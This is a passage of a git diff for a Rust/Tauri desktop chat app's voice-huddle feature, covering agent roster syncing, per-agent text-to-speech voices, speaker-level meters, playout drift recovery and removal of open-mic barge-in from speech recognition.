sync_agents_for_active_huddle( + channel_id: &str, + agent_pubkeys: Vec, + state: &AppState, +) -> Result { + let mut seen = HashSet::new(); + let mut requested = Vec::new(); + for pubkey in agent_pubkeys { + let normalized = pubkey.to_ascii_lowercase(); + validate_pubkey_hex(&normalized)?; + if seen.insert(normalized.clone()) { + requested.push(normalized); + } + } + if requested.is_empty() { + return Ok(AgentHuddleSyncResult { + matched_active_huddle: false, + added: Vec::new(), + }); + } + let _sync_guard = AGENT_SYNC_LOCK.lock().await; + + let (ephemeral_channel_id, parent_channel_id, huddle_generation, state_agents) = { + let huddle = state.huddle()?; + if !matches!(huddle.phase, HuddlePhase::Connected | HuddlePhase::Active) { + return Ok(AgentHuddleSyncResult { + matched_active_huddle: false, + added: Vec::new(), + }); + } + let ephemeral_channel_id = huddle + .ephemeral_channel_id + .clone() + .ok_or("no ephemeral channel")?; + let parent_channel_id = huddle + .parent_channel_id + .clone() + .ok_or("no parent channel")?; + if channel_id != ephemeral_channel_id && channel_id != parent_channel_id { + return Ok(AgentHuddleSyncResult { + matched_active_huddle: false, + added: Vec::new(), + }); + } + let state_agents = huddle + .agent_pubkeys + .lock() + .unwrap_or_else(|error| error.into_inner()) + .clone(); + ( + ephemeral_channel_id, + parent_channel_id, + huddle.huddle_generation, + state_agents, + ) + }; + + // Membership reads can lag a just-accepted write, so merge the relay view + // with local state instead of allowing a stale snapshot to remove agents. + let fresh_agents = fetch_channel_members(&ephemeral_channel_id, Some("bot"), state) + .await + .unwrap_or_default(); + let mut known_agents = HashSet::new(); + let mut merged_agents = Vec::new(); + for pubkey in state_agents.into_iter().chain(fresh_agents) { + let normalized = pubkey.to_ascii_lowercase(); + if known_agents.insert(normalized.clone()) { + merged_agents.push(normalized); + } + } + let missing: Vec = requested + .into_iter() + .filter(|pubkey| !known_agents.contains(pubkey)) + .collect(); + if known_agents.len() + missing.len() > MAX_HUDDLE_AGENTS { + return Err(format!( + "agent limit reached: {} requested with {} already present (max {})", + missing.len(), + known_agents.len(), + MAX_HUDDLE_AGENTS + )); + } + + let ephemeral_uuid = Uuid::parse_str(&ephemeral_channel_id).map_err(|e| e.to_string())?; + let parent_uuid = Uuid::parse_str(&parent_channel_id).map_err(|e| e.to_string())?; + let mut added = Vec::new(); + for pubkey in missing { + add_agent_to_huddle(ephemeral_uuid, parent_uuid, &pubkey, state).await?; + merged_agents.push(pubkey.clone()); + added.push(pubkey); + } + + let (roster_changed, transcription_auto_enabled) = { + let mut huddle = state.huddle()?; + if !huddle.is_current_huddle(&ephemeral_channel_id, huddle_generation) { + return Ok(AgentHuddleSyncResult { + matched_active_huddle: true, + added, + }); + } + let mut roster_changed = false; + { + let mut current_agents = huddle + .agent_pubkeys + .lock() + .unwrap_or_else(|error| error.into_inner()); + if *current_agents != merged_agents { + *current_agents = merged_agents.clone(); + roster_changed = true; + } + } + for pubkey in &merged_agents { + if !huddle.participants.contains(pubkey) { + huddle.participants.push(pubkey.clone()); + roster_changed = true; + } + } + ( + roster_changed, + huddle.maybe_auto_enable_transcription_for_agents(), + ) + }; + + if transcription_auto_enabled { + start_auto_enabled_transcription(state, &ephemeral_channel_id).await; + } else if roster_changed { + state.emit_huddle_state_changed(); + } + + Ok(AgentHuddleSyncResult { + matched_active_huddle: true, + added, + }) +} + +#[tauri::command] +pub async fn sync_agents_to_active_huddle( + channel_id: String, + agent_pubkeys: Vec, + state: State<'_, AppState>, +) -> Result { + sync_agents_for_active_huddle(&channel_id, agent_pubkeys, &state).await +} + fn contains_member(members: &[(String, Option)], pubkey: &str) -> bool { members .iter() diff --git a/desktop/src-tauri/src/huddle/message_read_aloud.rs b/desktop/src-tauri/src/huddle/message_read_aloud.rs index 6596d4b5f0..b71287254b 100644 --- a/desktop/src-tauri/src/huddle/message_read_aloud.rs +++ b/desktop/src-tauri/src/huddle/message_read_aloud.rs @@ -85,6 +85,7 @@ pub async fn speak_message_read_aloud( Arc::clone(&cancel_worker), &voice_name, output_device, + None, )?; pipeline.speak(text)?; let started = std::time::Instant::now(); diff --git a/desktop/src-tauri/src/huddle/mod.rs b/desktop/src-tauri/src/huddle/mod.rs index 7452053275..668d5a030b 100644 --- a/desktop/src-tauri/src/huddle/mod.rs +++ b/desktop/src-tauri/src/huddle/mod.rs @@ -24,6 +24,7 @@ //! and drops them outside the lock (thread joins can block ~200ms). mod agent_tts_routing; +pub mod agent_voice; pub mod agents; pub mod audio_output; pub mod jitter; @@ -42,6 +43,7 @@ pub mod tts; pub mod tts_settings; mod tts_voice_import; mod tts_voice_registry; +mod window; pub mod wire; // ── Shared utilities ────────────────────────────────────────────────────────── @@ -69,6 +71,7 @@ pub(super) fn drain_until_shutdown( pub use state::{HuddleJoinInfo, HuddlePhase, HuddleState, VoiceInputMode}; pub use transcription::{set_huddle_transcription_enabled, start_stt_pipeline}; pub use tts_settings::set_tts_enabled; +pub use window::{close_huddle_companion, open_huddle_window}; // ── Imports ─────────────────────────────────────────────────────────────────── @@ -91,6 +94,7 @@ use relay_api::{ count_human_members, fetch_channel_members, parse_channel_uuid, validate_pubkey_hex, MAX_HUDDLE_AGENTS, }; +use window::close_huddle_window; fn normalize_huddle_channel_name(candidate: Option, fallback: &str) -> String { let normalized = candidate @@ -176,6 +180,7 @@ pub async fn start_huddle( parent_channel_id: String, member_pubkeys: Vec, channel_name: Option, + app: tauri::AppHandle, state: State<'_, AppState>, ) -> Result { // Validate inputs at the Tauri boundary. @@ -199,6 +204,15 @@ pub async fn start_huddle( deduped }; + // Allocate the backing channel ID before the relay work starts. Publishing + // it with the Creating state lets the main webview open an immediate + // companion window while the channel and audio session are being prepared. + let ephemeral_uuid = Uuid::new_v4(); + let ephemeral_channel_id = ephemeral_uuid.to_string(); + let short_id = &ephemeral_channel_id[..8]; + let fallback_channel_name = format!("huddle-{short_id}"); + let channel_name = normalize_huddle_channel_name(channel_name, &fallback_channel_name); + // Transition to Creating. let huddle_generation = { let mut hs = state.huddle()?; @@ -211,20 +225,16 @@ pub async fn start_huddle( let generation = hs.begin_huddle_lifetime(); hs.phase = HuddlePhase::Creating; hs.parent_channel_id = Some(parent_channel_id.clone()); + hs.ephemeral_channel_id = Some(ephemeral_channel_id.clone()); generation }; - - let ephemeral_uuid = Uuid::new_v4(); - let ephemeral_channel_id = ephemeral_uuid.to_string(); - let short_id = &ephemeral_channel_id[..8]; - let fallback_channel_name = format!("huddle-{short_id}"); - let channel_name = normalize_huddle_channel_name(channel_name, &fallback_channel_name); + state.emit_huddle_state_changed(); // All steps wrapped so we can roll back on ANY failure, including step 1. // channel_was_created tracks whether we need to archive on rollback. let mut channel_was_created = false; - let result: Result, String> = async { + let result: Result<(Vec, String), String> = async { // 1. Create ephemeral channel. let create_builder = events::build_create_channel( ephemeral_uuid, @@ -266,14 +276,14 @@ pub async fn start_huddle( // 4. Emit HUDDLE_STARTED to parent channel. let started_builder = events::build_huddle_started(&parent_channel_id, &ephemeral_channel_id)?; - submit_event(started_builder, &state).await?; + let started_event = submit_event(started_builder, &state).await?; - Ok(successful_agents) + Ok((successful_agents, started_event.event_id)) } .await; match result { - Ok(successful_agents) => { + Ok((successful_agents, huddle_thread_event_id)) => { // 5. Store active state. let committed = { let mut hs = state.huddle()?; @@ -283,6 +293,7 @@ pub async fn start_huddle( hs.phase = HuddlePhase::Connected; hs.is_creator = true; hs.ephemeral_channel_id = Some(ephemeral_channel_id.clone()); + hs.huddle_thread_event_id = Some(huddle_thread_event_id); *hs.agent_pubkeys.lock().unwrap_or_else(|e| e.into_inner()) = successful_agents.clone(); hs.maybe_auto_enable_transcription_for_agents(); @@ -301,6 +312,7 @@ pub async fn start_huddle( }; if !committed { emit_end_and_archive(&parent_channel_id, &ephemeral_channel_id, &state).await; + close_huddle_window(&app, &ephemeral_channel_id); return Err("huddle start was superseded".to_owned()); } @@ -312,6 +324,7 @@ pub async fn start_huddle( match post_connect_setup(&state, &ephemeral_channel_id, huddle_generation).await { Ok(PostConnectOutcome::Ready) => {} Ok(PostConnectOutcome::Stale) => { + close_huddle_window(&app, &ephemeral_channel_id); return Err("huddle start was superseded".to_owned()); } Err(e) => { @@ -331,6 +344,7 @@ pub async fn start_huddle( } state.emit_huddle_state_changed(); } + close_huddle_window(&app, &ephemeral_channel_id); return Err(e); } } @@ -351,10 +365,19 @@ pub async fn start_huddle( } } // Reset only if this failed attempt still owns the Creating state. - if let Ok(mut hs) = state.huddle_state.lock() { + let reset = if let Ok(mut hs) = state.huddle_state.lock() { if hs.owns_huddle_lifetime(huddle_generation, HuddlePhase::Creating) { hs.reset_preserving_generation(); + true + } else { + false } + } else { + false + }; + if reset { + state.emit_huddle_state_changed(); + close_huddle_window(&app, &ephemeral_channel_id); } Err(e) } @@ -373,6 +396,7 @@ pub async fn start_huddle( pub async fn join_huddle( parent_channel_id: String, ephemeral_channel_id: String, + huddle_thread_event_id: Option, state: State<'_, AppState>, ) -> Result { // Transition to Connecting. @@ -388,6 +412,7 @@ pub async fn join_huddle( hs.phase = HuddlePhase::Connecting; hs.parent_channel_id = Some(parent_channel_id.clone()); hs.ephemeral_channel_id = Some(ephemeral_channel_id.clone()); + hs.huddle_thread_event_id = huddle_thread_event_id; generation }; @@ -558,7 +583,7 @@ async fn remove_huddle_agents(ephemeral_channel_id: &str, state: &AppState) { /// /// The relay emits kind:48102 (participant left) when the audio WS disconnects. #[tauri::command] -pub async fn leave_huddle(state: State<'_, AppState>) -> Result<(), String> { +pub async fn leave_huddle(app: tauri::AppHandle, state: State<'_, AppState>) -> Result<(), String> { let (parent_channel_id, ephemeral_channel_id) = { let mut hs = state.huddle()?; if hs.phase == HuddlePhase::Idle { @@ -607,6 +632,7 @@ pub async fn leave_huddle(state: State<'_, AppState>) -> Result<(), String> { } teardown_huddle(&state)?; + close_huddle_window(&app, &ephemeral_channel_id); Ok(()) } @@ -619,7 +645,11 @@ pub async fn leave_huddle(state: State<'_, AppState>) -> Result<(), String> { /// 3. Shut down the STT pipeline (Fix 5). /// 4. Clear local huddle state. #[tauri::command] -pub async fn end_huddle(force: Option, state: State<'_, AppState>) -> Result<(), String> { +pub async fn end_huddle( + force: Option, + app: tauri::AppHandle, + state: State<'_, AppState>, +) -> Result<(), String> { let (parent_channel_id, ephemeral_channel_id) = { let mut hs = state.huddle()?; if hs.phase == HuddlePhase::Idle { @@ -642,6 +672,7 @@ pub async fn end_huddle(force: Option, state: State<'_, AppState>) -> Resu emit_end_and_archive(&parent_channel_id, &ephemeral_channel_id, &state).await; teardown_huddle(&state)?; + close_huddle_window(&app, &ephemeral_channel_id); Ok(()) } @@ -768,6 +799,8 @@ pub fn get_model_status(_state: State<'_, AppState>) -> Result, ) -> Result<(), String> { eprintln!("buzz-desktop: tts stage=invoke status=started route_id={route_id}"); @@ -775,6 +808,22 @@ pub async fn speak_agent_message( // Use char count (not byte length) to avoid panicking on multi-byte UTF-8. let text = normalize_agent_tts_text(text); + if !state.huddle()?.tts_enabled { + eprintln!( + "buzz-desktop: tts stage=invoke status=no_op reason=disabled route_id={route_id}" + ); + return Ok(()); + } + + let Some(voice_reference) = + agent_voice::voice_reference_for_agent(&app, &state, &speaker_pubkey)? + else { + eprintln!( + "buzz-desktop: tts stage=invoke status=no_op reason=agent_disabled route_id={route_id}" + ); + return Ok(()); + }; + let needs_pipeline = { let mut hs = state.huddle()?; if hs @@ -832,7 +881,7 @@ pub async fn speak_agent_message( }; enqueue_agent_tts_text(route_id, text, move |route_id, text| { sender - .send(route_id, text) + .send(route_id, speaker_pubkey, voice_reference, text) .map_err(|error| format!("TTS queue closed while waiting to enqueue: {error}")) }) .await diff --git a/desktop/src-tauri/src/huddle/pipeline.rs b/desktop/src-tauri/src/huddle/pipeline.rs index fba5464a69..9572ac25bf 100644 --- a/desktop/src-tauri/src/huddle/pipeline.rs +++ b/desktop/src-tauri/src/huddle/pipeline.rs @@ -82,7 +82,7 @@ pub async fn check_pipeline_hotstart(state: State<'_, AppState>) -> Result<(), S .map(|m| m.take_tts_ready()) .unwrap_or(false); - // Start TTS first (so STT can capture tts_cancel). + // Start TTS first so STT can observe its active-playback gate. if !has_tts && (tts_ready || models::is_tts_ready()) { if let Err(e) = maybe_start_tts_pipeline(&state).await { eprintln!("buzz-desktop: TTS hotstart failed: {e}"); @@ -130,25 +130,45 @@ pub async fn check_pipeline_hotstart(state: State<'_, AppState>) -> Result<(), S .await .ok(); let fresh_members = fetch_channel_members(eph_id, None, &state).await.ok(); - let transcription_auto_enabled = if fresh_agents.is_some() || fresh_members.is_some() { - let mut hs = state.huddle()?; - if !hs.is_current_huddle(eph_id, huddle_generation) { - return Ok(()); - } - if let Some(agents) = fresh_agents { - *hs.agent_pubkeys.lock().unwrap_or_else(|e| e.into_inner()) = agents; - } - if let Some(members) = fresh_members { - hs.participants = members; - } - hs.last_agent_refresh = Some(std::time::Instant::now()); - hs.maybe_auto_enable_transcription_for_agents() - } else { - false - }; + let (roster_changed, transcription_auto_enabled) = + if fresh_agents.is_some() || fresh_members.is_some() { + let mut hs = state.huddle()?; + if !hs.is_current_huddle(eph_id, huddle_generation) { + return Ok(()); + } + let mut roster_changed = false; + if let Some(agents) = fresh_agents { + let mut current_agents = + hs.agent_pubkeys.lock().unwrap_or_else(|e| e.into_inner()); + if *current_agents != agents { + *current_agents = agents; + roster_changed = true; + } + } + if let Some(members) = fresh_members { + if hs.participants != members { + hs.participants = members; + roster_changed = true; + } + } + hs.last_agent_refresh = Some(std::time::Instant::now()); + ( + roster_changed, + hs.maybe_auto_enable_transcription_for_agents(), + ) + } else { + (false, false) + }; if transcription_auto_enabled { start_auto_enabled_transcription(&state, eph_id).await; } + // Audio authentication auto-adds a joining human to the ephemeral + // channel. Emit whenever that authoritative roster changes so the + // desktop participant strip updates immediately instead of waiting + // for its slow fallback IPC read. + if roster_changed || transcription_auto_enabled { + state.emit_huddle_state_changed(); + } } } @@ -173,23 +193,32 @@ pub(crate) async fn post_connect_setup( fetch_channel_members(ephemeral_channel_id, Some("bot"), state), fetch_channel_members(ephemeral_channel_id, None, state), ); - let transcription_auto_enabled = { + let (roster_changed, transcription_auto_enabled) = { let mut hs = state.huddle()?; if !hs.is_current_huddle(ephemeral_channel_id, huddle_generation) { return Ok(PostConnectOutcome::Stale); } + let mut roster_changed = false; if let Ok(agents) = agents_result { - *hs.agent_pubkeys.lock().unwrap_or_else(|e| e.into_inner()) = agents; + let mut current_agents = hs.agent_pubkeys.lock().unwrap_or_else(|e| e.into_inner()); + if *current_agents != agents { + *current_agents = agents; + roster_changed = true; + } } if let Ok(all_members) = all_members_result { - if !all_members.is_empty() { + if !all_members.is_empty() && hs.participants != all_members { hs.participants = all_members; + roster_changed = true; } } - hs.maybe_auto_enable_transcription_for_agents() + ( + roster_changed, + hs.maybe_auto_enable_transcription_for_agents(), + ) }; - if transcription_auto_enabled { + if roster_changed || transcription_auto_enabled { state.emit_huddle_state_changed(); } @@ -281,7 +310,6 @@ pub(crate) async fn maybe_start_stt_pipeline( // the worker thread (~200ms) and must not block under the mutex. let ( tts_active, - tts_cancel, agent_pubkeys_arc, session_gen, expected_generation, @@ -312,7 +340,6 @@ pub(crate) async fn maybe_start_stt_pipeline( }; ( Arc::clone(&hs.tts_active), - Some(Arc::clone(&hs.tts_cancel)), Arc::clone(&hs.agent_pubkeys), Arc::clone(&hs.session_generation), hs.session_generation.load(Ordering::Acquire), @@ -325,7 +352,7 @@ pub(crate) async fn maybe_start_stt_pipeline( drop(old_stt); let constructed = tokio::task::spawn_blocking(move || { - stt::SttPipeline::new(model_dir, tts_active, tts_cancel, ptt_active_for_stt) + stt::SttPipeline::new(model_dir, tts_active, ptt_active_for_stt) }) .await; let (pipeline, text_rx) = match constructed { @@ -421,8 +448,8 @@ pub(crate) async fn maybe_start_tts_pipeline(state: &AppState) -> Result super::tts_settings::pocket_voice_reference(&app, &voice_preferences)?, + let initial_voice = match app.as_ref() { + Some(app) => super::tts_settings::pocket_voice_reference(app, &voice_preferences)?, None => super::tts_settings::bundled_pocket_voice_reference(&voice_preferences), }; @@ -458,6 +485,7 @@ pub(crate) async fn maybe_start_tts_pipeline(state: &AppState) -> Result f32 { + ((f32::from(level_dbov) + 60.0) / 48.0).clamp(0.0, 1.0) +} + +fn should_recover_playout(depth: usize, currently_recovering: bool) -> bool { + if currently_recovering { + depth > PLAYOUT_QUEUE_RECOVERY_END + } else { + depth >= PLAYOUT_QUEUE_RECOVERY_START + } +} /// One remote peer's slot: jitter buffer + dedicated rodio Player. /// @@ -87,6 +105,7 @@ struct PeerSlot { /// by the playout tick to decide whether to keep draining NetEq into the /// Player. Updated on every successful `insert_packet`. last_packet_at: tokio::time::Instant, + recovering_playout: bool, } impl PeerSlot { @@ -96,6 +115,7 @@ impl PeerSlot { jitter, player: rodio::Player::connect_new(sink_mixer), last_packet_at: tokio::time::Instant::now(), + recovering_playout: false, }), Err(e) => { eprintln!("buzz-desktop: jitter buffer init peer {peer_idx}: {e}"); @@ -121,6 +141,19 @@ impl PeerSlot { fn is_active(&self) -> bool { self.last_packet_at.elapsed() < IDLE_PEER_GRACE || !self.jitter.is_empty() } + + fn update_playout_recovery(&mut self) { + let should_recover = should_recover_playout(self.player.len(), self.recovering_playout); + if should_recover == self.recovering_playout { + return; + } + self.recovering_playout = should_recover; + self.player.set_speed(if should_recover { + PLAYOUT_RECOVERY_SPEED + } else { + 1.0 + }); + } } /// Drive the receive loop until cancelled or the WS closes. @@ -149,12 +182,16 @@ pub(crate) async fn run_playout_recv_loop( let mut index_to_pubkey: std::collections::HashMap = initial_peers.into_iter().collect(); let mut active_indices: std::collections::HashSet = std::collections::HashSet::new(); + let mut speaker_levels: std::collections::HashMap = std::collections::HashMap::new(); let mut frame_counts: std::collections::HashMap = std::collections::HashMap::new(); let mut last_frame_reset = tokio::time::Instant::now(); let mut tts_was_active = false; let mut speaker_tick = tokio::time::interval(std::time::Duration::from_millis(SPEAKER_TICK_MS)); speaker_tick.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Skip); + let mut speaker_level_tick = + tokio::time::interval(std::time::Duration::from_millis(SPEAKER_LEVEL_TICK_MS)); + speaker_level_tick.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Skip); let mut playout_tick = tokio::time::interval(std::time::Duration::from_millis(PLAYOUT_TICK_MS)); // `Delay` (not `Skip`) so a brief stall in another select arm — e.g. the // ws_tx_for_pongs mutex contending with the encode-side task on a Ping — @@ -187,15 +224,14 @@ pub(crate) async fn run_playout_recv_loop( } match slot.jitter.get_audio() { Ok((samples, _vad)) => { - // Bound producer-vs-device-clock drift. If our - // tokio tick has gotten ahead of the audio - // callback's actual consumption rate, drop the - // oldest queued frame rather than letting the - // queue grow without bound. - if slot.player.len() >= PLAYOUT_QUEUE_HIGH_WATER { + // Smooth out producer-vs-device clock drift. A + // shallow hard drop used to remove entire 10 ms + // chunks and create audible discontinuities. + slot.update_playout_recovery(); + if slot.player.len() >= PLAYOUT_QUEUE_EMERGENCY_HIGH_WATER { eprintln!( - "buzz-desktop: playout queue high-water for peer {peer_idx} \ - (depth={}) — dropping oldest frame", + "buzz-desktop: playout queue emergency high-water for peer \ + {peer_idx} (depth={}) — dropping oldest frame", slot.player.len(), ); slot.player.skip_one(); @@ -221,6 +257,22 @@ pub(crate) async fn run_playout_recv_loop( } active_indices.clear(); } + _ = speaker_level_tick.tick() => { + if let Some(ref app) = app_handle { + use tauri::Emitter; + let levels: std::collections::HashMap = speaker_levels + .iter() + .filter_map(|(idx, level)| { + index_to_pubkey.get(idx).cloned().map(|pubkey| (pubkey, *level)) + }) + .collect(); + let _ = app.emit("huddle-speaker-levels", &levels); + } + for level in speaker_levels.values_mut() { + *level *= 0.55; + } + speaker_levels.retain(|_, level| *level > 0.015); + } msg = ws_rx.next() => { match msg { Some(Ok(WsMsg::Binary(data))) => { @@ -253,6 +305,11 @@ pub(crate) async fn run_playout_recv_loop( // make their tile flash for the 500 ms speaker tick. if !is_dtx { active_indices.insert(peer_idx); + let level = normalized_speaker_level(header.level_dbov); + speaker_levels + .entry(peer_idx) + .and_modify(|current| *current = current.max(level)) + .or_insert(level); } // TTS interrupt frame counter — reset on TTS rising edge. @@ -328,6 +385,7 @@ pub(crate) async fn run_playout_recv_loop( peers.remove(&key); frame_counts.remove(&key); active_indices.remove(&key); + speaker_levels.remove(&key); } index_to_pubkey.insert(key, pk.to_string()); } @@ -351,6 +409,7 @@ pub(crate) async fn run_playout_recv_loop( peers.retain(|idx, _| identity_unchanged(idx)); frame_counts.retain(|idx, _| identity_unchanged(idx)); active_indices.retain(identity_unchanged); + speaker_levels.retain(|idx, _| identity_unchanged(idx)); index_to_pubkey = replacement; } } @@ -359,6 +418,8 @@ pub(crate) async fn run_playout_recv_loop( let key = idx as u8; index_to_pubkey.remove(&key); frame_counts.remove(&key); + active_indices.remove(&key); + speaker_levels.remove(&key); // Dropping Player detaches its queue from the // device mixer, freeing the per-peer slot. peers.remove(&key); @@ -379,4 +440,34 @@ pub(crate) async fn run_playout_recv_loop( } } } + + if let Some(ref app) = app_handle { + use tauri::Emitter; + let _ = app.emit( + "huddle-speaker-levels", + &std::collections::HashMap::::new(), + ); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn speaker_level_maps_conversational_range() { + assert_eq!(normalized_speaker_level(-127), 0.0); + assert_eq!(normalized_speaker_level(-60), 0.0); + assert!((normalized_speaker_level(-36) - 0.5).abs() < f32::EPSILON); + assert_eq!(normalized_speaker_level(-12), 1.0); + assert_eq!(normalized_speaker_level(0), 1.0); + } + + #[test] + fn playout_recovery_uses_hysteresis() { + assert!(!should_recover_playout(9, false)); + assert!(should_recover_playout(10, false)); + assert!(should_recover_playout(5, true)); + assert!(!should_recover_playout(4, true)); + } } diff --git a/desktop/src-tauri/src/huddle/state.rs b/desktop/src-tauri/src/huddle/state.rs index 37eb3533f6..0fe3a46f5a 100644 --- a/desktop/src-tauri/src/huddle/state.rs +++ b/desktop/src-tauri/src/huddle/state.rs @@ -4,11 +4,13 @@ //! phase enum, voice input mode, and response types. use serde::{Deserialize, Serialize}; +use std::collections::BTreeMap; use std::sync::{ atomic::{AtomicBool, AtomicU64, Ordering}, Arc, Mutex, }; +use super::agent_voice::AgentVoiceSettings; use super::{stt, tts}; /// Voice input mode: push-to-talk (PTT) or voice-activity detection (VAD). @@ -18,8 +20,9 @@ use super::{stt, tts}; /// (after a 200 ms delay) stops mic capture and flushes the utterance. /// /// VAD (default): the earshot VAD runs continuously and speech is accumulated -/// whenever the probability exceeds the threshold. Barge-in is enabled in this -/// mode. +/// whenever the probability exceeds the threshold. While local TTS is playing, +/// mic frames are discarded because VAD has no echo reference with which to +/// distinguish the app's own playback from a human interruption. #[derive(Debug, Clone, Default, Serialize, Deserialize, PartialEq)] #[serde(rename_all = "snake_case")] pub enum VoiceInputMode { @@ -44,6 +47,9 @@ pub struct HuddleState { pub phase: HuddlePhase, pub parent_channel_id: Option, pub ephemeral_channel_id: Option, + /// Root event for the huddle's visible parent-channel thread. Transcript + /// messages reply here while audio coordination stays ephemeral. + pub huddle_thread_event_id: Option, /// Cancellation token for the audio relay WS task. #[serde(skip)] pub audio_ws_cancel: Option, @@ -67,6 +73,8 @@ pub struct HuddleState { deserialize_with = "deserialize_agent_pubkeys" )] pub agent_pubkeys: Arc>>, + /// Local, huddle-scoped playback choices for each participating agent. + pub agent_voice_settings: BTreeMap, /// Active STT pipeline — not serialized, not cloned. #[serde(skip)] pub stt_pipeline: Option>, @@ -161,10 +169,12 @@ impl Clone for HuddleState { phase: self.phase.clone(), parent_channel_id: self.parent_channel_id.clone(), ephemeral_channel_id: self.ephemeral_channel_id.clone(), + huddle_thread_event_id: self.huddle_thread_event_id.clone(), audio_ws_cancel: None, // Never clone handles. audio_relay_pcm_tx: None, // Never clone handles. participants: self.participants.clone(), agent_pubkeys: Arc::new(Mutex::new(agent_pubkeys_snapshot)), + agent_voice_settings: self.agent_voice_settings.clone(), stt_pipeline: None, // Never clone the pipeline handle. tts_pipeline: None, // Never clone the pipeline handle. is_creator: self.is_creator, @@ -190,10 +200,12 @@ impl Default for HuddleState { phase: HuddlePhase::Idle, parent_channel_id: None, ephemeral_channel_id: None, + huddle_thread_event_id: None, audio_ws_cancel: None, audio_relay_pcm_tx: None, participants: Vec::new(), agent_pubkeys: Arc::new(Mutex::new(Vec::new())), + agent_voice_settings: BTreeMap::new(), stt_pipeline: None, tts_pipeline: None, is_creator: false, diff --git a/desktop/src-tauri/src/huddle/stt.rs b/desktop/src-tauri/src/huddle/stt.rs index 6f502ca72c..30a47f449a 100644 --- a/desktop/src-tauri/src/huddle/stt.rs +++ b/desktop/src-tauri/src/huddle/stt.rs @@ -63,13 +63,13 @@ impl SttPipeline { /// /// `tts_active` is a shared flag set by the TTS pipeline while audio is /// playing. The STT worker uses it to: - /// - discard accumulated speech (echo prevention / barge-in gating) - /// - apply a 200 ms cooldown after TTS stops before re-enabling STT - /// - detect barge-in: speech onset during TTS → set `tts_cancel` + /// - discard accumulated speech so local playback cannot feed back into STT + /// - apply a cooldown after TTS stops before re-enabling STT /// - /// `tts_cancel` (optional) is the TTS pipeline's cancel flag. When the STT - /// worker detects speech onset while TTS is active, it sets this flag to - /// stop playback immediately (barge-in). Pass `None` if TTS is unavailable. + /// Open-mic VAD cannot distinguish a nearby human from the app's own native + /// TTS playback because it has no acoustic echo reference. Local mic frames + /// therefore never cancel TTS. Push-to-talk and remote participant speech + /// remain explicit, reliable barge-in paths. /// /// `ptt_active` (optional) is the push-to-talk flag. When `Some`, the STT /// pipeline only accumulates speech while the flag is true (key held). @@ -86,7 +86,6 @@ impl SttPipeline { pub fn new( model_dir: PathBuf, tts_active: Arc, - tts_cancel: Option>, ptt_active: Option>, ) -> Result<(Self, tokio_mpsc::Receiver), String> { let (audio_tx, audio_rx) = mpsc::sync_channel::>(AUDIO_QUEUE_DEPTH); @@ -94,7 +93,6 @@ impl SttPipeline { let shutdown = Arc::new(AtomicBool::new(false)); let shutdown_worker = Arc::clone(&shutdown); - let tts_cancel_worker = tts_cancel.as_ref().map(Arc::clone); let ptt_active_worker = ptt_active.as_ref().map(Arc::clone); let handle = thread::Builder::new() .name("stt-worker".into()) @@ -105,7 +103,6 @@ impl SttPipeline { text_tx, shutdown_worker, tts_active, - tts_cancel_worker, ptt_active_worker, ) }) @@ -167,28 +164,26 @@ impl Drop for SttPipeline { /// Previous value (28 frames / 450 ms) felt sluggish in conversation. const SILENCE_FLUSH_FRAMES: usize = 19; -/// Consecutive VAD speech frames required before triggering barge-in during TTS. -/// 20 frames × 256 samples / 16 kHz ≈ 320 ms — must be long enough to filter -/// speaker-to-mic feedback (TTS audio bleeding through the mic) while still -/// catching real human interruptions. 80 ms (previous: 5 frames) was too -/// aggressive — laptop speakers without headphones triggered false barge-in -/// within the first word of TTS playback. -const BARGE_IN_DEBOUNCE_FRAMES: usize = 20; - /// earshot requires exactly 256 samples per frame at 16 kHz. const VAD_FRAME_SAMPLES: usize = 256; /// VAD probability threshold — above this is considered speech. const VAD_THRESHOLD: f32 = 0.5; +/// Minimum voiced audio needed before an utterance may be decoded. +/// One earshot false-positive frame is only 16 ms; requiring 192 ms prevents +/// silence/room-noise blips from reaching Parakeet and becoming hallucinated +/// transcript text while still preserving short replies such as "yes". +const MIN_VOICED_FRAMES: usize = 12; + /// How long the worker waits on the audio channel before checking the shutdown flag. const RECV_TIMEOUT: Duration = Duration::from_millis(50); -/// 50 ms cooldown after TTS stops before STT re-enables. +/// 150 ms cooldown after TTS stops before STT re-enables. /// Prevents the tail of TTS audio from being transcribed as speech. -/// Previous value (200 ms) was eating the first word when the user spoke -/// immediately after the agent finished. -const TTS_COOLDOWN: Duration = Duration::from_millis(50); +/// This remains shorter than the previous 200 ms gate that ate the first word, +/// but is long enough for speaker/AEC tail audio to leave the microphone path. +const TTS_COOLDOWN: Duration = Duration::from_millis(150); /// Number of ONNX Runtime intra-op threads used by the offline recognizer. /// @@ -207,7 +202,6 @@ fn stt_worker( text_tx: tokio_mpsc::Sender, shutdown: Arc, tts_active: Arc, - tts_cancel: Option>, ptt_active: Option>, ) { // ── 1. Initialise rubato resampler (48 kHz → 16 kHz, mono) ─────────────── @@ -274,9 +268,9 @@ fn stt_worker( let mut silence_frames: usize = 0; // Whether we're currently in a speech segment. let mut in_speech = false; - // Consecutive speech frames seen during TTS — used for barge-in debounce. - let mut barge_in_frames: usize = 0; - // Timestamp when TTS last stopped — used for the 200 ms cooldown. + // Number of frames earshot classified as voiced in the current segment. + let mut voiced_frames = 0; + // Timestamp when TTS last stopped — used for the playback-tail cooldown. let mut tts_stopped_at: Option = None; // ── 5. Main loop ────────────────────────────────────────────────────────── @@ -305,10 +299,11 @@ fn stt_worker( if let Some(ref ptt) = ptt_active { let ptt_now = ptt.load(Ordering::Acquire); if ptt_was_active && !ptt_now && in_speech && !speech_buf.is_empty() { - flush_to_stt(&speech_buf, &recognizer, &text_tx); + flush_to_stt(&speech_buf, voiced_frames, &recognizer, &text_tx); speech_buf.clear(); silence_frames = 0; in_speech = false; + voiced_frames = 0; } ptt_was_active = ptt_now; } @@ -342,11 +337,10 @@ fn stt_worker( &mut speech_buf, &mut silence_frames, &mut in_speech, - &mut barge_in_frames, + &mut voiced_frames, &recognizer, &text_tx, &tts_active, - tts_cancel.as_deref(), &mut tts_stopped_at, ptt_active.as_ref(), ); @@ -387,8 +381,8 @@ fn resample_chunk(resampler: &mut rubato::Fft, chunk_48k: &[f32]) -> Vec, silence_frames: &mut usize, in_speech: &mut bool, - barge_in_frames: &mut usize, + voiced_frames: &mut usize, recognizer: &sherpa_onnx::OfflineRecognizer, text_tx: &tokio_mpsc::Sender, tts_active: &Arc, - 